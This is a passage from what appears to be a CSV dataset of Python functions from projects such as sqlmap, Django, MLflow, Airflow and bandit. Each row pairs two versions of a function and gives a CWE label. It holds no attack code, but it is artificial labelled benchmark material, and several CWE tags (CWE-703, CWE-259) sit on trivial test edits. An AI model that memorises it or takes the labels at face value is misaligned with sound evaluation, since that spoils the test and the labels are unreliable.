                self.manager.metrics.data['_totals']['%s.%s' %
                                                     (category, level)] = 1

        # Validate that we're outputting the correct issues
        output_str_fn = 'bandit.formatters.text._output_issue_str'
        with mock.patch(output_str_fn) as output_str:
            b_text.report(self.manager, self.tmp_fname, bandit.LOW, bandit.LOW,
                          lines=5)

            calls = [mock.call(issue_a, '', lines=5),
                     mock.call(issue_b, '', lines=5)]

            output_str.assert_has_calls(calls, any_order=True)

        # Validate that we're outputting all of the expected fields and the
        # correct values
        b_text.report(self.manager, self.tmp_fname, bandit.LOW, bandit.LOW,
                      lines=5)
        with open(self.tmp_fname) as f:
            data = f.read()

            expected = 'Run started'
            self.assertIn(expected, data)

            expected_items = ['Files in scope (1):\n\tbinding.py (score: ',
                              ""CONFIDENCE: 1"",
                              ""SEVERITY: 1""]
            for item in expected_items:
                self.assertIn(item, data)

            expected = 'Files excluded (1):\n\tdef.py'
            self.assertIn(expected, data)

            expected = ('Total lines of code: 1000\n\tTotal lines skipped '
                        '(#nosec): 50')
            self.assertIn(expected, data)

            expected = ('Total issues (by severity):\n\t\tUndefined: 1\n\t\t'
                        'Low: 1\n\t\tMedium: 1\n\t\tHigh: 1')
            self.assertIn(expected, data)

            expected = ('Total issues (by confidence):\n\t\tUndefined: 1\n\t\t'
                        'Low: 1\n\t\tMedium: 1\n\t\tHigh: 1')
            self.assertIn(expected, data)

            expected = 'Files skipped (1):\n\tabc.py (File is bad)'
            self.assertIn(expected, data)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
    """"""
    Writes text to the stdout (console) stream
    """"""

    if not IS_TTY and isinstance(data, six.string_types) and data.startswith(""\r""):
        if re.search(r""\(\d+%\)"", data):
            data = """"
        else:
            data = ""\n%s"" % data.strip(""\r"")

    if not kb.get(""threadException""):
        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get(""wizardMode"")):
            multiThreadMode = kb.get(""multiThreadMode"")
            if multiThreadMode:
                logging._acquireLock()

            try:
                if conf.get(""api""):
                    sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
                else:
                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
            except IOError:
                pass
            except UnicodeEncodeError:
                sys.stdout.write(re.sub(r""[^ -~]"", '?', clearColors(data)))
            finally:
                try:
                    sys.stdout.flush()
                except IOError:
                    raise SystemExit

            if multiThreadMode:
                logging._releaseLock()

            kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')",,sqlmapproject/sqlmap,ebaee3a4e6b32877874f2676397cc7f3bf3ed756,"def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
    """"""
    Writes text to the stdout (console) stream
    """"""

    if not IS_TTY and isinstance(data, six.string_types) and data.startswith(""\r""):
        if re.search(r""\(\d+%\)"", data):
            data = """"
        else:
            data = ""\n%s"" % data.strip(""\r"")

    if not kb.get(""threadException""):
        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get(""wizardMode"")):
            multiThreadMode = kb.get(""multiThreadMode"")
            if multiThreadMode:
                logging._acquireLock()

            try:
                if conf.get(""api""):
                    sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
                else:
                    sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
            except IOError:
                pass
            except UnicodeEncodeError:
                sys.stdout.write(re.sub(r""[^ -~]"", '?', clearColors(data)))
            finally:
                sys.stdout.flush()

            if multiThreadMode:
                logging._releaseLock()

            kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_views/tests.py,1,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        user_ctype = ContentType.objects.get_for_model(User)
        user = User.objects.get(username='super')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (user_ctype.pk, user.pk)

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], 'http://example.com/users/super/')",CWE-259,django/django,bd3b5e8c2b36633134ab63e5a6af7b5f5839a7c4,"def test_shortcut_view_only_available_to_staff(self):
        """"""
        Only admin users should be able to use the admin shortcut view.
        """"""
        user_ctype = ContentType.objects.get_for_model(User)
        user = User.objects.get(username='super')
        shortcut_url = ""/test_admin/admin/r/%s/%s/"" % (user_ctype.pk, user.pk)
        
        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=False)
        self.assertTemplateUsed(response, 'admin/login.html')
        
        # Logged in? Redirect.
        self.client.login(username='super', password='secret')
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], 'http://example.com/users/super/')"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/uri.py,0,"def is_local_uri(uri, is_tracking_or_registry_uri=True):
    """"""
    Returns true if the specified URI is a local file path (/foo or file:/foo).

    :param uri: The URI.
    :param is_tracking_uri: Whether or not the specified URI is an MLflow Tracking or MLflow
                            Model Registry URI. Examples of other URIs are MLflow artifact URIs,
                            filesystem paths, etc.
    """"""
    if uri == ""databricks"" and is_tracking_or_registry_uri:
        return False

    if is_windows() and uri.startswith(""\\\\""):
        # windows network drive path looks like: ""\\<server name>\path\...""
        return False

    parsed_uri = urllib.parse.urlparse(uri)
    scheme = parsed_uri.scheme
    if scheme == """":
        return True

    is_remote_hostname = parsed_uri.hostname and not (
        parsed_uri.hostname == "".""
        or parsed_uri.hostname.startswith(""localhost"")
        or parsed_uri.hostname.startswith(""127.0.0.1"")
    )
    if scheme == ""file"":
        if is_remote_hostname:
            raise MlflowException(
                f""{uri} is not a valid remote uri. For remote access ""
                ""on windows, please consider using a different scheme ""
                ""such as SMB (e.g. smb://<hostname>/<path>).""
            )
        return True

    if is_remote_hostname:
        return False

    if is_windows() and len(scheme) == 1 and scheme.lower() == pathlib.Path(uri).drive.lower()[0]:
        return True

    return False",,mlflow/mlflow,438a450714a3ca06285eeea34bdc6cf79d7f6cbc,"def is_local_uri(uri, is_tracking_or_registry_uri=True):
    """"""
    Returns true if the specified URI is a local file path (/foo or file:/foo).

    :param uri: The URI.
    :param is_tracking_uri: Whether or not the specified URI is an MLflow Tracking or MLflow
                            Model Registry URI. Examples of other URIs are MLflow artifact URIs,
                            filesystem paths, etc.
    """"""
    if uri == ""databricks"" and is_tracking_or_registry_uri:
        return False

    if is_windows() and uri.startswith(""\\\\""):
        # windows network drive path looks like: ""\\<server name>\path\...""
        return False

    parsed_uri = urllib.parse.urlparse(uri)
    scheme = parsed_uri.scheme
    if scheme == """":
        return True

    if parsed_uri.hostname and not (
        parsed_uri.hostname == "".""
        or parsed_uri.hostname.startswith(""localhost"")
        or parsed_uri.hostname.startswith(""127.0.0.1"")
    ):
        return False

    if scheme == ""file"":
        return True

    if is_windows() and len(scheme) == 1 and scheme.lower() == pathlib.Path(uri).drive.lower()[0]:
        return True

    return False"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/nbextensions.py,0,"def _set_nbextension_state_python(state, package, user, sys_prefix,
                                  logger=None):
    """"""Enable or disable some nbextensions stored in a python package

    Returns a list of whether the state was achieved (i.e. changed, or was
    already right)

    Parameters
    ----------

    state : Bool
        Whether the extensions should be enabled
    package : str
        Importable Python package (no dotted-notation!) exposing the
        magic-named `_jupyter_nbextension_paths` function
    user : bool
        Whether to enable in the user's nbextensions directory.
    sys_prefix : bool
        Enable/disable in the sys.prefix, i.e. environment
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    m, nbexts = _get_nbextension_metadata(package)
    return [_set_nbextension_state(section=nbext[""section""],
                                   require=nbext[""require""],
                                   state=state,
                                   user=user, sys_prefix=sys_prefix,
                                   logger=logger)
            for nbext in nbexts]",,jupyter/notebook,a0fd730246ecf6bb8e227f65f190a2b93227b73b,"def _set_nbextension_state_python(state, package, user, sys_prefix,
                                  logger=None):
    """"""Enable or disable some nbextensions stored in a python package

    Returns a list of whether the state was achieved (i.e. changed, or was
    already right)

    Parameters
    ----------

    state : Bool
        Whether the extensions should be enabled
    package : str
        Importable Python package (no dotted-notation!) exposing the
        magic-named `_jupyter_nbextension_paths` function
    user : bool [default: False]
        Whether to enable in the user's nbextensions directory.
    sys_prefix : bool [default: False]
        Enable/disable in the sys.prefix, i.e. environment
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    m, nbexts = _get_nbextension_metadata(package)
    return [_set_nbextension_state(section=nbext[""section""],
                                   require=nbext[""require""],
                                   state=state,
                                   user=user, sys_prefix=sys_prefix,
                                   logger=logger)
            for nbext in nbexts]"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/delete/tests.py,0,"def test_fast_delete_combined_relationships(self):
        # The cascading fast-delete of SecondReferrer should be combined
        # in a single DELETE WHERE referrer_id OR unique_field.
        origin = Origin.objects.create()
        referer = Referrer.objects.create(origin=origin, unique_field=42)
        with self.assertNumQueries(2):
            referer.delete()",CWE-Unknown,django/django,f6405c0b8ef7aff513b105c1da68407a881a3671,"def test_fast_delete_combined_relationships(self):
        # The cascading fast-delete of SecondReferrer should be combined
        # in a single DELETE WHERE referrer_id OR unique_field.
        origin = Origin.objects.create()
        referer = Referrer.objects.create(origin=origin, unique_field=42)
        with self.assertNumQueries(2):
            referer.delete()"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_task_instances.py,1,"def test_should_call_mocked_api(self, mock_set_ti_state, test_client, session):
        self.create_task_instances(session)

        mock_set_ti_state.return_value = session.scalars(
            select(TaskInstance).where(
                TaskInstance.dag_id == self.DAG_ID,
                TaskInstance.task_id == self.TASK_ID,
                TaskInstance.run_id == self.RUN_ID,
                TaskInstance.map_index == -1,
            )
        ).one_or_none()

        response = test_client.patch(
            self.ENDPOINT_URL,
            json={
                ""new_state"": self.NEW_STATE,
            },
        )
        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": self.DAG_ID,
            ""dag_run_id"": self.RUN_ID,
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""task_id"": self.TASK_ID,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_display_name"": self.TASK_ID,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""rendered_fields"": {},
            ""rendered_map_index"": None,
            ""trigger"": None,
            ""triggerer_job"": None,
        }

        mock_set_ti_state.assert_called_once_with(
            commit=True,
            downstream=False,
            upstream=False,
            future=False,
            map_indexes=[-1],
            past=False,
            run_id=self.RUN_ID,
            session=mock.ANY,
            state=self.NEW_STATE,
            task_id=self.TASK_ID,
        )",CWE-703,apache/airflow,825df6db600fd3ba81f708e60c12be8e2b515a2f,"def test_should_call_mocked_api(self, mock_set_ti_state, test_client, session):
        self.create_task_instances(session)

        mock_set_ti_state.return_value = session.scalars(
            select(TaskInstance).where(
                TaskInstance.dag_id == self.DAG_ID,
                TaskInstance.task_id == self.TASK_ID,
                TaskInstance.run_id == self.RUN_ID,
                TaskInstance.map_index == -1,
            )
        ).one_or_none()

        response = test_client.patch(
            self.ENDPOINT_URL,
            json={
                ""dry_run"": False,
                ""new_state"": self.NEW_STATE,
            },
        )
        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": self.DAG_ID,
            ""dag_run_id"": self.RUN_ID,
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""task_id"": self.TASK_ID,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_display_name"": self.TASK_ID,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""rendered_fields"": {},
            ""rendered_map_index"": None,
            ""trigger"": None,
            ""triggerer_job"": None,
        }

        mock_set_ti_state.assert_called_once_with(
            commit=True,
            downstream=False,
            upstream=False,
            future=False,
            map_indexes=[-1],
            past=False,
            run_id=self.RUN_ID,
            session=mock.ANY,
            state=self.NEW_STATE,
            task_id=self.TASK_ID,
        )"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/filter/network.py,1,"def parse_cli(output, tmpl):
    try:
        template = Template()
    except ImportError as exc:
        raise AnsibleError(str(exc))

    spec = yaml.safe_load(open(tmpl).read())
    obj = {}

    for name, attrs in iteritems(spec['keys']):
        value = attrs['value']

        try:
            variables = spec.get('vars', {})
            value = template(value, variables)
        except:
            pass

        if 'start_block' in attrs and 'end_block' in attrs:
            start_block = re.compile(attrs['start_block'])
            end_block = re.compile(attrs['end_block'])

            blocks = list()
            lines = None
            block_started = False

            for line in output.split('\n'):
                match_start = start_block.match(line)
                match_end = end_block.match(line)

                if match_start:
                    lines = list()
                    lines.append(line)
                    block_started = True

                elif match_end:
                    if lines:
                        lines.append(line)
                        blocks.append('\n'.join(lines))
                    block_started = False

                elif block_started:
                    if lines:
                        lines.append(line)

            regex_items = [re.compile(r) for r in attrs['items']]
            objects = list()

            for block in blocks:
                if isinstance(value, Mapping) and 'key' not in value:
                    items = list()
                    for regex in regex_items:
                        match = regex.search(block)
                        if match:
                            item_values = match.groupdict()
                            item_values['match'] = list(match.groups())
                            items.append(item_values)
                        else:
                            items.append(None)

                    obj = {}
                    for k, v in iteritems(value):
                        try:
                            obj[k] = template(v, {'item': items}, fail_on_undefined=False)
                        except:
                            obj[k] = None
                    objects.append(obj)

                elif isinstance(value, Mapping):
                    items = list()
                    for regex in regex_items:
                        match = regex.search(block)
                        if match:
                            item_values = match.groupdict()
                            item_values['match'] = list(match.groups())
                            items.append(item_values)
                        else:
                            items.append(None)

                    key = template(value['key'], {'item': items})
                    values = dict([(k, template(v, {'item': items})) for k, v in iteritems(value['values'])])
                    objects.append({key: values})

            return objects

        elif 'items' in attrs:
            regexp = re.compile(attrs['items'])
            when = attrs.get('when')
            conditional = ""{%% if %s %%}True{%% else %%}False{%% endif %%}"" % when

            if isinstance(value, Mapping) and 'key' not in value:
                values = list()

                for item in re_matchall(regexp, output):
                    entry = {}

                    for item_key, item_value in iteritems(value):
                        entry[item_key] = template(item_value, {'item': item})

                    if when:
                        if template(conditional, {'item': entry}):
                            values.append(entry)
                    else:
                        values.append(entry)

                obj[name] = values

            elif isinstance(value, Mapping):
                values = dict()

                for item in re_matchall(regexp, output):
                    entry = {}

                    for item_key, item_value in iteritems(value['values']):
                        entry[item_key] = template(item_value, {'item': item})

                    key = template(value['key'], {'item': item})

                    if when:
                        if template(conditional, {'item': {'key': key, 'value': entry}}):
                            values[key] = entry
                    else:
                        values[key] = entry

                obj[name] = values

            else:
                item = re_search(regexp, output)
                obj[name] = template(value, {'item': item})

        else:
            obj[name] = value

    return obj",CWE-703,ansible/ansible,5bbf70afe165d70307ce4235ab1465bebb8dd5b6,"def parse_cli(output, tmpl):
    try:
        template = Template()
    except ImportError as exc:
        raise AnsibleError(str(exc))

    spec = yaml.safe_load(open(tmpl).read())
    obj = {}

    for name, attrs in iteritems(spec['keys']):
        value = attrs['value']

        try:
            variables = spec.get('vars', {})
            value = template(value, variables)
        except:
            pass

        if 'start_block' in attrs and 'end_block' in attrs:
            start_block = re.compile(attrs['start_block'])
            end_block = re.compile(attrs['end_block'])

            blocks = list()
            lines = None
            block_started = False

            for line in output.split('\n'):
                match_start = start_block.match(line)
                match_end = end_block.match(line)

                if match_start:
                    if lines:
                        blocks.append('\n'.join(lines))
                    lines = list()
                    lines.append(line)
                    block_started = True

                elif match_end:
                    if lines:
                        lines.append(line)
                    block_started = False

                elif block_started:
                    if lines:
                        lines.append(line)

            regex_items = [re.compile(r) for r in attrs['items']]
            objects = list()

            for block in blocks:
                if isinstance(value, Mapping) and 'key' not in value:
                    items = list()
                    for regex in regex_items:
                        match = regex.search(block)
                        if match:
                            item_values = match.groupdict()
                            item_values['match'] = list(match.groups())
                            items.append(item_values)
                        else:
                            items.append(None)

                    obj = {}
                    for k, v in iteritems(value):
                        try:
                            obj[k] = template(v, {'item': items}, fail_on_undefined=False)
                        except:
                            obj[k] = None
                    objects.append(obj)

                elif isinstance(value, Mapping):
                    items = list()
                    for regex in regex_items:
                        match = regex.search(block)
                        if match:
                            item_values = match.groupdict()
                            item_values['match'] = list(match.groups())
                            items.append(item_values)
                        else:
                            items.append(None)

                    key = template(value['key'], {'item': items})
                    values = dict([(k, template(v, {'item': items})) for k, v in iteritems(value['values'])])
                    objects.append({key: values})

            return objects

        elif 'items' in attrs:
            regexp = re.compile(attrs['items'])
            when = attrs.get('when')
            conditional = ""{%% if %s %%}True{%% else %%}False{%% endif %%}"" % when

            if isinstance(value, Mapping) and 'key' not in value:
                values = list()

                for item in re_matchall(regexp, output):
                    entry = {}

                    for item_key, item_value in iteritems(value):
                        entry[item_key] = template(item_value, {'item': item})

                    if when:
                        if template(conditional, {'item': entry}):
                            values.append(entry)
                    else:
                        values.append(entry)

                obj[name] = values

            elif isinstance(value, Mapping):
                values = dict()

                for item in re_matchall(regexp, output):
                    entry = {}

                    for item_key, item_value in iteritems(value['values']):
                        entry[item_key] = template(item_value, {'item': item})

                    key = template(value['key'], {'item': item})

                    if when:
                        if template(conditional, {'item': {'key': key, 'value': entry}}):
                            values[key] = entry
                    else:
                        values[key] = entry

                obj[name] = values

            else:
                item = re_search(regexp, output)
                obj[name] = template(value, {'item': item})

        else:
            obj[name] = value

    return obj"
,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_celery_kubernetes_executor.py,1,"def test_should_create_a_worker_deployment_with_the_celery_executor(self):
        docs = render_chart(
            values={
                ""executor"": ""CeleryExecutor"",
                ""dags"": {""persistence"": {""enabled"": True}, ""gitSync"": {""enabled"": True}},
            },
            show_only=[""templates/workers/worker-deployment.yaml""],
        )

        assert jmespath.search(""spec.template.spec.volumes[0].name"", docs[0]) == ""config""
        assert jmespath.search(""spec.template.spec.volumes[1].name"", docs[0]) == ""dags""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_create_a_worker_deployment_with_the_celery_executor(self):
        docs = render_chart(
            values={
                ""executor"": ""CeleryExecutor"",
                ""dags"": {""persistence"": {""enabled"": True}, ""gitSync"": {""enabled"": True}},
            },
            show_only=[""templates/workers/worker-deployment.yaml""],
        )

        assert ""config"" == jmespath.search(""spec.template.spec.volumes[0].name"", docs[0])
        assert ""dags"" == jmespath.search(""spec.template.spec.volumes[1].name"", docs[0])"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_home.py,1,"def test_home(capture_templates, admin_client):
    with capture_templates() as templates:
        resp = admin_client.get(""home"", follow_redirects=True)
        check_content_in_response(""DAGs"", resp)
        val_state_color_mapping = (
            ""const STATE_COLOR = {""
            '""deferred"": ""mediumpurple"", ""failed"": ""red"", '
            '""null"": ""lightblue"", ""queued"": ""gray"", '
            '""removed"": ""lightgrey"", ""restarting"": ""violet"", ""running"": ""lime"", '
            '""scheduled"": ""tan"", '
            '""skipped"": ""hotpink"", '
            '""success"": ""green"", ""up_for_reschedule"": ""turquoise"", '
            '""up_for_retry"": ""gold"", ""upstream_failed"": ""orange""};'
        )
        check_content_in_response(val_state_color_mapping, resp)

    assert len(templates) == 1
    assert templates[0].name == ""airflow/dags.html""
    state_color_mapping = State.state_color.copy()
    state_color_mapping[""null""] = state_color_mapping.pop(None)
    assert templates[0].local_context[""state_color""] == state_color_mapping",CWE-703,apache/airflow,99e6a439ae1b4c410dbcb2a12627aa7d68dfdea6,"def test_home(capture_templates, admin_client):
    with capture_templates() as templates:
        resp = admin_client.get(""home"", follow_redirects=True)
        check_content_in_response(""DAGs"", resp)
        val_state_color_mapping = (
            ""const STATE_COLOR = {""
            '""deferred"": ""mediumpurple"", ""failed"": ""red"", '
            '""null"": ""lightblue"", ""queued"": ""gray"", '
            '""removed"": ""lightgrey"", ""restarting"": ""violet"", ""running"": ""lime"", '
            '""scheduled"": ""tan"", '
            '""skipped"": ""hotpink"", '
            '""success"": ""green"", ""up_for_reschedule"": ""turquoise"", '
            '""up_for_retry"": ""gold"", ""upstream_failed"": ""orange""};'
        )
        check_content_in_response(val_state_color_mapping, resp)

    assert len(templates) == 1
    assert templates[0].name == ""airflow/dags.html""
    state_color_mapping = State.state_color.copy()
    state_color_mapping[""null""] = state_color_mapping.pop(None)
    assert templates[0].local_context[""state_color""] == state_color_mapping"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,test_requests.py,0,"def test_unconsumed_session_response_closes_connection(self):
        s = requests.session()

        with contextlib.closing(s.get(httpbin('stream/4'), stream=True)) as response:
            pass

        self.assertFalse(response._content_consumed)
        self.assertTrue(response.raw.closed)",,psf/requests,fd31453aa25f80f04e1ce36de9abff0460bd136a,"def test_unconsumed_session_response_closes_connection(self):
        s = requests.session()

        with contextlib.closing(s.get(httpbin('stream/4'), stream=True)) as response:
            pass

        self.assertEqual(response._content_consumed, False)
        self.assertTrue(response.raw.closed, True)"
,UNKNOWN,UNKNOWN,tests/models/test_cli.py,1,"def test_serve_uvicorn_opts(iris_data, sk_model):
    if sys.platform == ""win32"":
        pytest.skip(""This test requires gunicorn which is not available on windows."")
    with mlflow.start_run():
        x, _ = iris_data
        model_info = mlflow.sklearn.log_model(
            sk_model, ""model"", registered_model_name=""test"", input_example=pd.DataFrame(x)
        )

    model_uris = [""models:/test/None"", model_info.model_uri]
    for model_uri in model_uris:
        with TempDir() as tpm:
            output_file_path = tpm.path(""stdout"")
            inference_payload = load_serving_example(model_uri)
            with open(output_file_path, ""w"") as output_file:
                scoring_response = pyfunc_serve_and_score_model(
                    model_uri,
                    inference_payload,
                    content_type=CONTENT_TYPE_JSON,
                    stdout=output_file,
                    extra_args=[""-w"", ""3"", ""--env-manager"", ""local""],
                )
            with open(output_file_path) as output_file:
                stdout = output_file.read()
        actual = pd.read_json(scoring_response.content.decode(""utf-8""), orient=""records"")
        actual = actual[actual.columns[0]].values
        expected = sk_model.predict(x)
        assert all(expected == actual)
        expected_command_pattern = re.compile(
            r""uvicorn.*--workers 3.*mlflow\.pyfunc\.scoring_server\.app:app""
        )
        assert expected_command_pattern.search(stdout) is not None",CWE-703,mlflow/mlflow,9739365de27f7c94e278eacb9d4b5cf6b4ff4213,"def test_serve_uvicorn_opts(iris_data, sk_model):
    if sys.platform == ""win32"":
        pytest.skip(""This test requires gunicorn which is not available on windows."")
    with mlflow.start_run() as active_run:
        x, _ = iris_data
        mlflow.sklearn.log_model(
            sk_model, ""model"", registered_model_name=""imlegit"", input_example=pd.DataFrame(x)
        )
        run_id = active_run.info.run_id

    model_uris = [
        ""models:/{name}/{stage}"".format(name=""imlegit"", stage=""None""),
        f""runs:/{run_id}/model"",
    ]
    for model_uri in model_uris:
        with TempDir() as tpm:
            output_file_path = tpm.path(""stoudt"")
            inference_payload = load_serving_example(model_uri)
            with open(output_file_path, ""w"") as output_file:
                scoring_response = pyfunc_serve_and_score_model(
                    model_uri,
                    inference_payload,
                    content_type=CONTENT_TYPE_JSON,
                    stdout=output_file,
                    extra_args=[""-w"", ""3"", ""--env-manager"", ""local""],
                )
            with open(output_file_path) as output_file:
                stdout = output_file.read()
        actual = pd.read_json(scoring_response.content.decode(""utf-8""), orient=""records"")
        actual = actual[actual.columns[0]].values
        expected = sk_model.predict(x)
        assert all(expected == actual)
        expected_command_pattern = re.compile(
            ""uvicorn.*--workers 3.*mlflow.pyfunc.scoring_server.app:app""
        )
        assert expected_command_pattern.search(stdout) is not None"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/main.py,0,"def main():
    """"""Bandit CLI.""""""
    # bring our logging stuff up as early as possible
    debug = (
        logging.DEBUG
        if ""-d"" in sys.argv or ""--debug"" in sys.argv
        else logging.INFO
    )
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [
        f.name
        for f in filter(
            lambda x: hasattr(x.plugin, ""_accepts_baseline""),
            extension_mgr.formatters,
        )
    ]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description=""Bandit - a Python source code security analyzer"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""*"",
        help=""source file(s) or directory(s) to be tested"",
    )
    parser.add_argument(
        ""-r"",
        ""--recursive"",
        dest=""recursive"",
        action=""store_true"",
        help=""find and process files in subdirectories"",
    )
    parser.add_argument(
        ""-a"",
        ""--aggregate"",
        dest=""agg_type"",
        action=""store"",
        default=""file"",
        type=str,
        choices=[""file"", ""vuln""],
        help=""aggregate output by vulnerability (default) or by filename"",
    )
    parser.add_argument(
        ""-n"",
        ""--number"",
        dest=""context_lines"",
        action=""store"",
        default=3,
        type=int,
        help=""maximum number of code lines to output for each issue"",
    )
    parser.add_argument(
        ""-c"",
        ""--configfile"",
        dest=""config_file"",
        action=""store"",
        default=None,
        type=str,
        help=""optional config file to use for selecting plugins and ""
        ""overriding defaults"",
    )
    parser.add_argument(
        ""-p"",
        ""--profile"",
        dest=""profile"",
        action=""store"",
        default=None,
        type=str,
        help=""profile to use (defaults to executing all tests)"",
    )
    parser.add_argument(
        ""-t"",
        ""--tests"",
        dest=""tests"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to run"",
    )
    parser.add_argument(
        ""-s"",
        ""--skip"",
        dest=""skips"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to skip"",
    )
    severity_group = parser.add_mutually_exclusive_group(required=False)
    severity_group.add_argument(
        ""-l"",
        ""--level"",
        dest=""severity"",
        action=""count"",
        default=1,
        help=""report only issues of a given severity level or ""
        ""higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)"",
    )
    severity_group.add_argument(
        ""--severity-level"",
        dest=""severity_string"",
        action=""store"",
        help=""report only issues of a given severity level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    confidence_group = parser.add_mutually_exclusive_group(required=False)
    confidence_group.add_argument(
        ""-i"",
        ""--confidence"",
        dest=""confidence"",
        action=""count"",
        default=1,
        help=""report only issues of a given confidence level or ""
        ""higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)"",
    )
    confidence_group.add_argument(
        ""--confidence-level"",
        dest=""confidence_string"",
        action=""store"",
        help=""report only issues of a given confidence level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    output_format = (
        ""screen""
        if (
            sys.stdout.isatty()
            and os.getenv(""NO_COLOR"") is None
            and os.getenv(""TERM"") != ""dumb""
        )
        else ""txt""
    )
    parser.add_argument(
        ""-f"",
        ""--format"",
        dest=""output_format"",
        action=""store"",
        default=output_format,
        help=""specify output format"",
        choices=sorted(extension_mgr.formatter_names),
    )
    parser.add_argument(
        ""--msg-template"",
        action=""store"",
        default=None,
        help=""specify output message template""
        "" (only usable with --format custom),""
        "" see CUSTOM FORMAT section""
        "" for list of available values"",
    )
    parser.add_argument(
        ""-o"",
        ""--output"",
        dest=""output_file"",
        action=""store"",
        nargs=""?"",
        type=argparse.FileType(""w"", encoding=""utf-8""),
        default=sys.stdout,
        help=""write report to filename"",
    )
    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument(
        ""-v"",
        ""--verbose"",
        dest=""verbose"",
        action=""store_true"",
        help=""output extra information like excluded and included files"",
    )
    parser.add_argument(
        ""-d"",
        ""--debug"",
        dest=""debug"",
        action=""store_true"",
        help=""turn on debug mode"",
    )
    group.add_argument(
        ""-q"",
        ""--quiet"",
        ""--silent"",
        dest=""quiet"",
        action=""store_true"",
        help=""only show output in the case of an error"",
    )
    parser.add_argument(
        ""--ignore-nosec"",
        dest=""ignore_nosec"",
        action=""store_true"",
        help=""do not skip lines with # nosec comments"",
    )
    parser.add_argument(
        ""-x"",
        ""--exclude"",
        dest=""excluded_paths"",
        action=""store"",
        default="","".join(constants.EXCLUDE),
        help=""comma-separated list of paths (glob patterns ""
        ""supported) to exclude from scan ""
        ""(note that these are in addition to the excluded ""
        ""paths provided in the config file) (default: ""
        + "","".join(constants.EXCLUDE)
        + "")"",
    )
    parser.add_argument(
